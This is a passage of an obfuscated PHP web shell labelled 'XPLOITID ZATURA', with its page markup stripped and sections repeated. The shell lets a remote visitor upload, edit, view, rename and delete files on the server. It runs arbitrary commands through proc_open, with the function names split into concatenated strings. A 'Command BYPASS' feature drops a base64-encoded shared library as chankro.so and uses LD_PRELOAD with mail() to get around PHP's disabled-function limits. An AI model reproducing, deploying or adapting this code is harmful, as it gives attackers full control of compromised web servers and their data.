    Error: File or directory not found!'; } } elseif (isset($_POST['rename_item']) && isset($_POST['old_name']) && isset($_POST['new_name'])) { $oldName = $currentDirectory . '/' . $_POST['old_name']; $newName = $currentDirectory . '/' . $_POST['new_name']; if (file_exists($oldName)) { if (rename($oldName, $newName)) { echo '
    Item renamed successfully!'; } else { echo '
    Error: Failed to rename item!'; } } else { echo '
    Error: Item not found!'; } }elseif (isset($_POST['cmd_biasa'])) { $pp = "p"."r"."o"."c"."_"."o"."p"."e"."n"; $pc = "f"."c"."l"."o"."s"."e"; $ppc = "p"."r"."o"."c"."_"."c"."l"."o"."s"."e"; $stg = "s"."t"."r"."e"."a"."m"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s"; $command = $_POST['cmd_biasa']; $descriptorspec = [ 0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w'] ]; $process = $pp($command, $descriptorspec, $pipes); if (is_resource($process)) { $output = $stg($pipes[1]); $errors = $stg($pipes[2]); $pc($pipes[1]); $pc($pipes[2]); $ppc($process); if (!empty($errors)) { $viewCommandResult = '

    Error:

    '; } else { $viewCommandResult = '

    Result:

    '; } } else { $viewCommandResult = 'Result:

    '; } } elseif (isset($_POST['view_file'])) { $fileToView = $currentDirectory . '/' . $_POST['view_file']; if (file_exists($fileToView)) { $fileContent = $fgc($fileToView); $viewCommandResult = '

    Result: ' . $_POST['view_file'] . '

    '; } else { $viewCommandResult = '

    Error: File not found!

    '; } } elseif (isset($_POST['edit_file'])) { $ef = $currentDirectory . '/' . $_POST['edit_file']; $newContent = $_POST['content']; if ($fpc($ef, $newContent) !== false) { echo '
    File Edited successfully! ' . $_POST['edit_file'].'
    '; } else { echo '
    Error: Failed Edit File! ' . $_POST['edit_file'].'
    '; } } } echo '
    DIR: '; $directories = $expl(DIRECTORY_SEPARATOR, $currentDirectory); $currentPath = ''; $homeLinkPrinted = false; foreach ($directories as $index => $dir) { $currentPath .= DIRECTORY_SEPARATOR . $dir; if ($index == 0) { echo '/' . $dir . ''; } else { echo '/' . $dir . ''; } } echo ' / [ GO Home ]'; echo '
    '; echo '
    '; echo '
    '; echo ''; echo ''; echo '

    '; echo '
    Command BYPASS
    Command BIASA
    Create Folder
    Create File
    '; echo $viewCommandResult; echo ''; echo '
    '; foreach ($scd($currentDirectory) as $v) { $u = $ril($v); $s = $st($u); $itemLink = $isdir($v) ? '?d=' . x($currentDirectory . '/' . $v) : '?'.('d='.x($currentDirectory).'&f='.x($v)); $permission = substr(sprintf('%o', fileperms($u)), -4); $writable = $isw($u); echo ''; } echo '
    Item Name
    Size
    Date
    Permissions
    View
    Delete
    Rename
    '.$v.' '.filesize($u).' '.date('Y-m-d H:i:s', filemtime($u)).' '.$permission.'
    '; function deleteDirectory($dir) { $unl = "u"."n"."l"."i"."n"."k"; if (!file_exists($dir)) { return true; } if (!is_dir($dir)) { return $unl($dir); } $scd = "s"."c"."a"."n"."d"."i"."r"; foreach ($scd($dir) as $item) { if ($item == '.' || $item == '..') { continue; } if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) { return false; } } return rmdir($dir); } ZATURA
    [ Command Bypas XPLOITID ZATURA
    "; if (function_exists('mail')) { echo "[ Function mail() ] : [ ON ]
    "; } else { echo "[ Function mail() ] : [ OFF ]
    "; } if (function_exists('putenv')) { echo "[ Function putenv() ] : [ ON ]
    "; } else { echo "[ Function putenv() ] : [ OFF ]
    "; } foreach ($_GET as $c => $d) $_GET[$c] = y($d); $currentDirectory = $ril(isset($_GET['d']) ? $_GET['d'] : $rootDirectory); $chd($currentDirectory); $viewCommandResult = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['fileToUpload'])) { $target_file = $currentDirectory . '/' . $bs($_FILES["fileToUpload"]["name"]); if ($mup($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "
    File " . $htm($bs($_FILES["fileToUpload"]["name"])) . " Upload success
    "; } else { echo "
    Sorry, there was an error uploading your file.
    "; } } elseif (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) { $ff = $_POST['folder_name']; $newFolder = $currentDirectory . '/' . $ff; if (!file_exists($newfolder)) { if ($mek($newFolder) !== false) { echo '
    Folder created successfully!'; }else{ echo '
    Error: Failed to create folder!'; } } } elseif (isset($_POST['file_name'])) { $fileName = $_POST['file_name']; $newFile = $currentDirectory . '/' . $fileName; if (!file_exists($newFile)) { if ($fpc($newFile, '') !== false) { echo '
    File created successfully!' . $fileName .' '; $fileToView = $newFile; if (file_exists($fileToView)) { $fileContent = $fgc($fileToView); $viewCommandResult = '

    Result: ' . $fileName . '

    '; } else { $viewCommandResult = '

    Error: File not found!

    '; } } else { echo '
    Error: Failed to create file!'; } }else{ echo '
    Error: File Already Exists!'; } } elseif (isset($_POST['cmd_input'])){ $p = "p"."u"."t"."e"."n"."v"; $a = "fi"."le_p"."ut_c"."ont"."e"."nt"."s"; $m = "m"."a"."i"."l"; $base = "ba"."se"."64"."_"."de"."co"."de"; $en = "ba"."se"."64"."_"."en"."co"."de"; $drnm= "d"."i"."r"."n"."a"."m"."e"; $currentFilePath = $_SERVER['PHP_SELF']; $doc = $_SERVER['DOCUMENT_ROOT']; $directoryPath = $drnm($currentFilePath); $full = $doc . $directoryPath; $hook = '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BwAAAAwAAAAAAAAAAAAAAEiD7AhIiwW9CCAASIXAdAL/0EiDxAjDAP810gggAP8l1AggAA8fQAD/JdIIIABoAAAAAOng/////yXKCCAAaAEAAADp0P////8lwgggAGgCAAAA6cD/////JboIIABoAwAAAOmw/////yWyCCAAaAQAAADpoP////8lqgggAGgFAAAA6ZD/////JaIIIABoBgAAAOmA/////yWaCCAAaAcAAADpcP////8lkgggAGgIAAAA6WD/////JSIIIABmkAAAAAAAAAAASI09gQggAEiNBYEIIABVSCn4SInlSIP4DnYVSIsF1gcgAEiFwHQJXf/gZg8fRAAAXcMPH0AAZi4PH4QAAAAAAEiNPUEIIABIjTU6CCAAVUgp/kiJ5UjB/gNIifBIweg/SAHGSNH+dBhIiwWhByAASIXAdAxd/+BmDx+EAAAAAABdww8fQABmLg8fhAAAAAAAgD3xByAAAHUnSIM9dwcgAABVSInldAxIiz3SByAA6D3////oSP///13GBcgHIAAB88MPH0AAZi4PH4QAAAAAAEiNPVkFIABIgz8AdQvpXv///2YPH0QAAEiLBRkHIABIhcB06VVIieX/0F3pQP///1VIieVIjT16AAAA6FD+//++/wEAAEiJx+iT/v//SI09YQAAAOg3/v//SInH6E/+//+QXcNVSInlvgEAAAC/AQAAAOhZ/v//6JT+//+FwHQKvwAAAADodv7//5Bdw1VIieVIjT0lAAAA6FP+///o/v3//+gZ/v//kF3DAABIg+wISIPECMNDSEFOS1JPAExEX1BSRUxPQUQAARsDOzQAAAAFAAAAuP3//1AAAABY/v//eAAAAGj///+QAAAAnP///7AAAADF////0AAAAAAAAAAUAAAAAAAAAAF6UgABeBABGwwHCJABAAAkAAAAHAAAAGD9//+gAAAAAA4QRg4YSg8LdwiAAD8aOyozJCIAAAAAFAAAAEQAAADY/f//CAAAAAAAAAAAAAAAHAAAAFwAAADQ/v//NAAAAABBDhCGAkMNBm8MBwgAAAAcAAAAfAAAAOT+//8pAAAAAEEOEIYCQw0GZAwHCAAAABwAAACcAAAA7f7//x0AAAAAQQ4QhgJDDQZYDAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsAgAAAAAAAAAAAAAAAAAAHAIAAAAAAAAAAAAAAAAAAABAAAAAAAAALsAAAAAAAAADAAAAAAAAAAYBwAAAAAAAA0AAAAAAAAAXAkAAAAAAAAZAAAAAAAAAPgNIAAAAAAAGwAAAAAAAAAQAAAAAAAAABoAAAAAAAAACA4gAAAAAAAcAAAAAAAAAAgAAAAAAAAA9f7/bwAAAADwAQAAAAAAAAUAAAAAAAAAMAQAAAAAAAAGAAAAAAAAADgCAAAAAAAACgAAAAAAAADpAAAAAAAAAAsAAAAAAAAAGAAAAAAAAAADAAAAAAAAAAAQIAAAAAAAAgAAAAAAAADYAAAAAAAAABQAAAAAAAAABwAAAAAAAAAXAAAAAAAAAEAGAAAAAAAABwAAAAAAAABoBQAAAAAAAAgAAAAAAAAA2AAAAAAAAAAJAAAAAAAAABgAAAAAAAAA/v//bwAAAABIBQAAAAAAAP///28AAAAAAQAAAAAAAADw//9vAAAAABoFAAAAAAAA+f//bwAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgOIAAAAAAAAAAAAAAAAAAAAAAAAAAAAEYHAAAAAAAAVgcAAAAAAABmBwAAAAAAAHYHAAAAAAAAhgcAAAAAAACWBwAAAAAAAKYHAAAAAAAAtgcAAAAAAADGBwAAAAAAAGAQIAAAAAAAR0NDOiAoRGViaWFuIDYuMy4wLTE4K2RlYjl1MSkgNi4zLjAgMjAxNzA1MTYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAQDIAQAAAAAAAAAAAAAAAAAAAAAAAAMAAgDwAQAAAAAAAAAAAAAAAAAAAAAAAAMAAwA4AgAAAAAAAAAAAAAAAAAAAAAAAAMABAAwBAAAAAAAAAAAAAAAAAAAAAAAAAMABQAaBQAAAAAAAAAAAAAAAAAAAAAAAAMABgBIBQAAAAAAAAAAAAAAAAAAAAAAAAMABwBoBQAAAAAAAAAAAAAAAAAAAAAAAAMACABABgAAAAAAAAAAAAAAAAAAAAAAAAMACQAYBwAAAAAAAAAAAAAAAAAAAAAAAAMACgAwBwAAAAAAAAAAAAAAAAAAAAAAAAMACwDQBwAAAAAAAAAAAAAAAAAAAAAAAAMADADgBwAAAAAAAAAAAAAAAAAAAAAAAAMADQBcCQAAAAAAAAAAAAAAAAAAAAAAAAMADgBlCQAAAAAAAAAAAAAAAAAAAAAAAAMADwB4CQAAAAAAAAAAAAAAAAAAAAAAAAMAEACwCQAAAAAAAAAAAAAAAAAAAAAAAAMAEQD4DSAAAAAAAAAAAAAAAAAAAAAAAAMAEgAIDiAAAAAAAAAAAAAAAAAAAAAAAAMAEwAQDiAAAAAAAAAAAAAAAAAAAAAAAAMAFAAYDiAAAAAAAAAAAAAAAAAAAAAAAAMAFQDYDyAAAAAAAAAAAAAAAAAAAAAAAAMAFgAAECAAAAAAAAAAAAAAAAAAAAAAAAMAFwBgECAAAAAAAAAAAAAAAAAAAAAAAAMAGABoECAAAAAAAAAAAAAAAAAAAAAAAAMAGQAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAEAEwAQDiAAAAAAAAAAAAAAAAAAGQAAAAIADADgBwAAAAAAAAAAAAAAAAAAGwAAAAIADAAgCAAAAAAAAAAAAAAAAAAALgAAAAIADABwCAAAAAAAAAAAAAAAAAAARAAAAAEAGABoECAAAAAAAAEAAAAAAAAAUwAAAAEAEgAIDiAAAAAAAAAAAAAAAAAAegAAAAIADACwCAAAAAAAAAAAAAAAAAAAhgAAAAEAEQD4DSAAAAAAAAAAAAAAAAAApQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAArAAAAAEAEABoCgAAAAAAAAAAAAAAAAAAugAAAAEAEwAQDiAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAxgAAAAEAFwBgECAAAAAAAAAAAAAAAAAA0wAAAAEAFAAYDiAAAAAAAAAAAAAAAAAA3AAAAAAADwB4CQAAAAAAAAAAAAAAAAAA7wAAAAEAFwBoECAAAAAAAAAAAAAAAAAA+wAAAAEAFgAAECAAAAAAAAAAAAAAAAAAEQEAABIAAAAAAAAAAAAAAAAAAAAAAAAAJQEAACAAAAAAAAAAAAAAAAAAAAAAAAAAQQEAABAAFwBoECAAAAAAAAAAAAAAAAAASAEAABIADAAUCQAAAAAAACkAAAAAAAAAUgEAABIADQBcCQAAAAAAAAAAAAAAAAAAWAEAABIAAAAAAAAAAAAAAAAAAAAAAAAAbAEAABIADADgCAAAAAAAADQAAAAAAAAAcAEAABIAAAAAAAAAAAAAAAAAAAAAAAAAhAEAACAAAAAAAAAAAAAAAAAAAAAAAAAAkwEAABIADAA9CQAAAAAAAB0AAAAAAAAAnQEAABAAGABwECAAAAAAAAAAAAAAAAAAogEAABAAGABoECAAAAAAAAAAAAAAAAAArgEAABIAAAAAAAAAAAAAAAAAAAAAAAAAwQEAACAAAAAAAAAAAAAAAAAAAAAAAAAA1QEAABIAAAAAAAAAAAAAAAAAAAAAAAAA6wEAABIAAAAAAAAAAAAAAAAAAAAAAAAA/QEAACAAAAAAAAAAAAAAAAAAAAAAAAAAFwIAACIAAAAAAAAAAAAAAAAAAAAAAAAAMwIAABIACQAYBwAAAAAAAAAAAAAAAAAAOQIAABIAAAAAAAAAAAAAAAAAAAAAAAAAAGNydHN0dWZmLmMAX19KQ1JfTElTVF9fAGRlcmVnaXN0ZXJfdG1fY2xvbmVzAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABjb21wbGV0ZWQuNjk3MgBfX2RvX2dsb2JhbF9kdG9yc19hdXhfZmluaV9hcnJheV9lbnRyeQBmcmFtZV9kdW1teQBfX2ZyYW1lX2R1bW15X2luaXRfYXJyYXlfZW50cnkAaG9vay5jAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kc29faGFuZGxlAF9EWU5BTUlDAF9fR05VX0VIX0ZSQU1FX0hEUgBfX1RNQ19FTkRfXwBfR0xPQkFMX09GRlNFVF9UQUJMRV8AZ2V0ZW52QEBHTElCQ18yLjIuNQBfSVRNX2RlcmVnaXN0ZXJUTUNsb25lVGFibGUAX2VkYXRhAGRhZW1vbml6ZQBfZmluaQBzeXN0ZW1AQEdMSUJDXzIuMi41AHB3bgBzaWduYWxAQEdMSUJDXzIuMi41AF9fZ21vbl9zdGFydF9fAHByZWxvYWRtZQBfZW5kAF9fYnNzX3N0YXJ0AGNobW9kQEBHTElCQ18yLjIuNQBfSnZfUmVnaXN0ZXJDbGFzc2VzAHVuc2V0ZW52QEBHTElCQ18yLjIuNQBleGl0QEBHTElCQ18yLjIuNQBfSVRNX3JlZ2lzdGVyVE1DbG9uZVRhYmxlAF9fY3hhX2ZpbmFsaXplQEBHTElCQ18yLjIuNQBfaW5pdABmb3JrQEBHTElCQ18yLjIuNQAALnN5bXRhYgAuc3RydGFiAC5zaHN0cnRhYgAubm90ZS5nbnUuYnVpbGQtaWQALmdudS5oYXNoAC5keW5zeW0ALmR5bnN0cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IALnJlbGEuZHluAC5yZWxhLnBsdAAuaW5pdAAucGx0LmdvdAAudGV4dAAuZmluaQAucm9kYXRhAC5laF9mcmFtZV9oZHIALmVoX2ZyYW1lAC5pbml0X2FycmF5AC5maW5pX2FycmF5AC5qY3IALmR5bmFtaWMALmdvdC5wbHQALmRhdGEALmJzcwAuY29tbWVudAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABsAAAAHAAAAAgAAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAuAAAA9v//bwIAAAAAAAAA8AEAAAAAAADwAQAAAAAAAEQAAAAAAAAAAwAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAOAAAAAsAAAACAAAAAAAAADgCAAAAAAAAOAIAAAAAAAD4AQAAAAAAAAQAAAABAAAACAAAAAAAAAAYAAAAAAAAAEAAAAADAAAAAgAAAAAAAAAwBAAAAAAAADAEAAAAAAAA6QAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAABIAAAA////bwIAAAAAAAAAGgUAAAAAAAAaBQAAAAAAACoAAAAAAAAAAwAAAAAAAAACAAAAAAAAAAIAAAAAAAAAVQAAAP7//28CAAAAAAAAAEgFAAAAAAAASAUAAAAAAAAgAAAAAAAAAAQAAAABAAAACAAAAAAAAAAAAAAAAAAAAGQAAAAEAAAAAgAAAAAAAABoBQAAAAAAAGgFAAAAAAAA2AAAAAAAAAADAAAAAAAAAAgAAAAAAAAAGAAAAAAAAABuAAAABAAAAEIAAAAAAAAAQAYAAAAAAABABgAAAAAAANgAAAAAAAAAAwAAABYAAAAIAAAAAAAAABgAAAAAAAAAeAAAAAEAAAAGAAAAAAAAABgHAAAAAAAAGAcAAAAAAAAXAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAHMAAAABAAAABgAAAAAAAAAwBwAAAAAAADAHAAAAAAAAoAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAB+AAAAAQAAAAYAAAAAAAAA0AcAAAAAAADQBwAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAhwAAAAEAAAAGAAAAAAAAAOAHAAAAAAAA4AcAAAAAAAB6AQAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAI0AAAABAAAABgAAAAAAAABcCQAAAAAAAFwJAAAAAAAACQAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACTAAAAAQAAAAIAAAAAAAAAZQkAAAAAAABlCQAAAAAAABMAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAmwAAAAEAAAACAAAAAAAAAHgJAAAAAAAAeAkAAAAAAAA0AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAKkAAAABAAAAAgAAAAAAAACwCQAAAAAAALAJAAAAAAAAvAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAACzAAAADgAAAAMAAAAAAAAA+A0gAAAAAAD4DQAAAAAAABAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAvwAAAA8AAAADAAAAAAAAAAgOIAAAAAAACA4AAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAMsAAAABAAAAAwAAAAAAAAAQDiAAAAAAABAOAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADQAAAABgAAAAMAAAAAAAAAGA4gAAAAAAAYDgAAAAAAAMABAAAAAAAABAAAAAAAAAAIAAAAAAAAABAAAAAAAAAAggAAAAEAAAADAAAAAAAAANgPIAAAAAAA2A8AAAAAAAAoAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAANkAAAABAAAAAwAAAAAAAAAAECAAAAAAAAAQAAAAAAAAYAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADiAAAAAQAAAAMAAAAAAAAAYBAgAAAAAABgEAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA6AAAAAgAAAADAAAAAAAAAGgQIAAAAAAAaBAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAO0AAAABAAAAMAAAAAAAAAAAAAAAAAAAAGgQAAAAAAAALQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAACYEAAAAAAAABgGAAAAAAAAGwAAAC0AAAAIAAAAAAAAABgAAAAAAAAACQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAsBYAAAAAAABLAgAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAPsYAAAAAAAA9gAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA='; $cmdd = $_POST['cmd_input']; $meterpreter = $en($cmdd." > test.txt"); $viewCommandResult = '

    Result: base64 : ' . $meterpreter .'
    Please Refresh and Check File test.txt, this output command
    test.txt created = VULN
    test.txt not created = NOT VULN
    example access: domain.com/yourpath/path/test.txt
    ZATURA


    '; $a($full . '/chankro.so', $base($hook)); $a($full . '/acpid.socket', $base($meterpreter)); $p('CHANKRO=' . $full . '/acpid.socket'); $p('LD_PRELOAD=' . $full . '/chankro.so'); $m('a','a','a','a'); }elseif (isset($_POST['delete_file'])) { $fileToDelete = $currentDirectory . '/' . $_POST['delete_file']; if (file_exists($fileToDelete)) { if (is_dir($fileToDelete)) { if (deleteDirectory($fileToDelete)) { echo '


    Folder deleted successfully!'; } else { echo '
    Error: Failed to delete folder!'; } } else { if ($unl($fileToDelete)) { echo '
    File deleted successfully!'; } else { echo '
    Error: Failed to delete file!'; } } } else { echo '
    Error: File or directory not found!'; } } elseif (isset($_POST['rename_item']) && isset($_POST['old_name']) && isset($_POST['new_name'])) { $oldName = $currentDirectory . '/' . $_POST['old_name']; $newName = $currentDirectory . '/' . $_POST['new_name']; if (file_exists($oldName)) { if (rename($oldName, $newName)) { echo '
    Item renamed successfully!'; } else { echo '
    Error: Failed to rename item!'; } } else { echo '
    Error: Item not found!'; } }elseif (isset($_POST['cmd_biasa'])) { $pp = "p"."r"."o"."c"."_"."o"."p"."e"."n"; $pc = "f"."c"."l"."o"."s"."e"; $ppc = "p"."r"."o"."c"."_"."c"."l"."o"."s"."e"; $stg = "s"."t"."r"."e"."a"."m"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s"; $command = $_POST['cmd_biasa']; $descriptorspec = [ 0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w'] ]; $process = $pp($command, $descriptorspec, $pipes); if (is_resource($process)) { $output = $stg($pipes[1]); $errors = $stg($pipes[2]); $pc($pipes[1]); $pc($pipes[2]); $ppc($process); if (!empty($errors)) { $viewCommandResult = '

    Error:

    '; } else { $viewCommandResult = '

    Result:

    '; } } else { $viewCommandResult = 'Result:

    '; } } elseif (isset($_POST['view_file'])) { $fileToView = $currentDirectory . '/' . $_POST['view_file']; if (file_exists($fileToView)) { $fileContent = $fgc($fileToView); $viewCommandResult = '

    Result: ' . $_POST['view_file'] . '

    '; } else { $viewCommandResult = '

    Error: File not found!

    '; } } elseif (isset($_POST['edit_file'])) { $ef = $currentDirectory . '/' . $_POST['edit_file']; $newContent = $_POST['content']; if ($fpc($ef, $newContent) !== false) { echo '
    File Edited successfully! ' . $_POST['edit_file'].'
    '; } else { echo '
    Error: Failed Edit File! ' . $_POST['edit_file'].'
    '; } } } echo '
